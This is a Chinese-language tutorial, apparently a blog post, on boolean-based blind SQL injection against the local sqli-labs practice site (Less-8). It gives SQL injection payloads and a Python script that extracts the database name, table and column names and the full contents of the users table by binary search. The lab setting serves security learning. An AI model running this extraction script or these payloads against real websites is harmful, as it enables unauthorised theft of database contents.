输入1
,回显You are in...........
输入1'
,没有回显
sql基于布尔的盲注
相关函数
函数 | 作用 |
---|---|
length(str) | 返回字符串str的长度 |
substr(str, pos, len) | 将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始 |
mid(str,pos,len) | 跟上面的一样,截取字符串 |
ascii(str) | 返回字符串str的最左面字符的ASCII代码值 |
ord(str) | 同上,返回ascii码 |
if(a,b,c) | :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0 |
查询数据库
利用二分法的思想,获取数据库名第一个字符的ASCII码值
1' and ascii(substr((select database()),1,1))>64 %23
,返回You are in...........
说明数据库名第一个字符的ASCII码值大于64(大写字母A的ASCII码值为65)
输入1' and ascii(substr((select database()),1,1))>96 %23
,返回You are in...........
,小写字母a的ASCII码值为97
输入1' and ascii(substr((select database()),1,1))<123 %23
,说明数据库名第一个字符是在小写字母a-z之间
由于前面我们已经知道数据库名为security,所以我们直接输入(s的ASCII码值为115)
1' and ascii(substr((select database()),1,1))=115 %23
该过程重复性的工作较多,我们可以用python编写一个脚本来得到数据库名长度,以下是源代码
参考博文:https://blog.csdn.net/u012763794/article/details/51207833
#!/usr/bin/env Python 3.6.4
# -*- coding: utf-8 -*-
# @Time : 2018/4/26 11:37
# @Author : wkend
# @File : getDataBaseInfo.py
# @Software: PyCharm
import urllib.request
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1"
success_str = "You are in..........."
database = "database()"
length_payload = "' and length(%s)>=%d #"
def get_length_result(payload, string, length):
"""
发送请求,根据页面的返回的判断长度的猜测结果
:param length:
:param payload:使用的payload
:param string:猜测的字符串
:return:猜解结果布尔值
"""
final_url = url + urllib.request.quote(payload % (string, length))
res = urllib.request.urlopen(final_url) # 打开并将爬取的网页赋值给res
echo = res.read().decode("utf-8")
if success_str in echo:
return True
else:
return False
def get_length_string(payload, string):
"""
猜解字符串长度
:param string:数据库名函数database()
:param payload:长度判断payload
:return:猜解长度
"""
length_left = 0
length_right = 0
guess = 10
# 确定长度上限,每次增加5
while 1:
# 如果长度大于guess
if get_length_result(payload, string, guess):
# 猜解值增5
guess += 5
else:
length_right = guess
break
# 二分法猜长度
mid = (length_left + length_right) / 2
while length_left < length_right - 1:
# 如果长度大于等于mid
if get_length_result(payload, string, mid):
# 更新长度的左边界为mid
length_left = mid
else:
# 更新长度右边界为mid
length_right = mid
# 更新中间值
mid = (length_left + length_right) / 2
return length_left
def inject():
"""
注入
:return:
"""
# 猜解数据库名长度
length_DB_name = int(get_length_string(length_payload, database))
print("当前数据库名长度" + str(length_DB_name))
def main():
inject()
main()
输出结果
D:\python\python.exe E:/程序代码/python/脚本工具/猜解数据库/getDataBaseInfo.py
当前数据库名长度8
Process finished with exit code 0
OK,获取到数据库名的长度,那么接下来就可以暴力破解数据库名了,增加以下功能函数,得到数据库名
def get_result(ascii_payload, select_db, i, mid):
"""
获取ASCII码值比较结果
:param ascii_payload:
:param select_db:
:param i:
:param mid:
:return:
"""
final_url = url + urllib.request.quote(ascii_payload % (select_db, i, mid))
res = urllib.request.urlopen(final_url)
if success_str in res.read().decode("utf-8"):
return True
else:
return False
def get_name(ascii_payload, select_db, length_DB_name):
"""
根据数据库名长度获取数据库名
:param ascii_payload: 获取当前字符的ASCII码值的payload
:param select_db:获取当前数据库名
:param length_DB_name: 数据库名的长度
:return: 返回数据库名
"""
tmp = ''
for i in range(1, length_DB_name + 1):
left_letter = 32 # 32 为空格
right_letter = 127 # 127为删除
mid = int((left_letter + right_letter) / 2)
while left_letter < right_letter - 1:
# 如果第i个字符的ASCII码值大于等于mid
if get_result(ascii_payload, select_db, i, mid):
# 更新左边界
left_letter = mid
else:
# 更新右边界
right_letter = mid
# 更新中间值
mid = int((left_letter + right_letter) / 2)
tmp += chr(left_letter)
return tmp
构造payload,获取数据库中表的个数
select_table_count_payload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"
# 获取数据库中表的数量
table_count = int(get_length_string(select_table_count_payload, DB_name))
print("数据库" + DB_name + "表的数量:" + str(table_count))
增加功能函数,获取数据库security中的所有表名
def get_tables_name(table_count, dbname):
"""
获取数据库中的所有表名
:return:给定数据库中的所有表名
"""
tables = [] # 定义列表来存放表名
for i in range(0, table_count):
# 第几个表
num = str(i)
# 获取当前这个表的长度
select_table_name_length_payload = select_table_name_length_payload_front + num + select_table_count_payload_behind
table_name_length = int(get_length_string(select_table_name_length_payload, dbname))
select_table_name = select_table % (dbname, i)
table_name = get_name(ascii_payload, select_table_name, table_name_length)
tables.append(table_name)
return tables
构造payload,调用函数get_length_string获取指定表的字段的个数
# 获取指定表的列的数量
select_column_count_payload = "'and (select count(column_name) " \
"from information_schema.columns where table_schema='" \
+ DB_name + "' and table_name='%s')>=%d #"
column_count = int(get_length_string(select_column_count_payload, "users"))
print("表users中有" + str(column_count) + "个字段")
构造payload,获取指定表有多少行数据
# 获取该指定表有多少行数据
data_count_payload = "' and (select count(*) from %s)>=%d #"
data_count = int(get_length_string(data_count_payload, "users"))
print("表users中有" + str(data_count) + "行数据")
增加功能函数,输出指定表中的所有数据
def get_table_data(column_count, dbname, table_name, data_count):
"""
获取指定表的字段名
:param dbname: 数据库名
:param data_count: 表中有多少行数据
:param column_count: 字段数量
:param table_name: 表名
:return:
"""
fields_value = [] # 定义字段值列表
fields_name = [] # 定义字段名列表
for i in range(0, column_count):
# 获取当前列字段名长度
get_field_name_length_payload = "'and (select length(column_name)" \
" from information_schema.columns " \
"where table_schema='" + dbname + \
"' and table_name='%s' limit " + str(i) + ",1)>=%d #"
field_name_length = int(get_length_string(get_field_name_length_payload, table_name))
# 获取该列名字
get_field_name_payload = "select column_name from information_schema.columns " \
"where table_schema='" + dbname + "' and table_name='%s' limit %d,1"
select_field_name_payload = get_field_name_payload % (table_name, i)
field_name = get_name(ascii_payload, select_field_name_payload, field_name_length)
fields_name.append(field_name)
# 获取当前列的所有数据
for j in range(0, data_count):
field_value_payload = "'and (select length(" \
+ field_name + ") from %s limit " + str(j) + ",1)>=%d #"
field_value_length = int(get_length_string(field_value_payload, table_name))
select_field_value_payload = "select " + field_name + " from " + table_name + " limit " + str(j) + ",1"
field_value = get_name(ascii_payload, select_field_value_payload, field_value_length)
fields_value.append(field_value)
return fields_name, fields_value
OK,对这一节的学习就结束了,下图是最终的执行结果
关于本文中的完整源代码,见下面的资源连接:
https://download.csdn.net/download/qq_34444097/10383265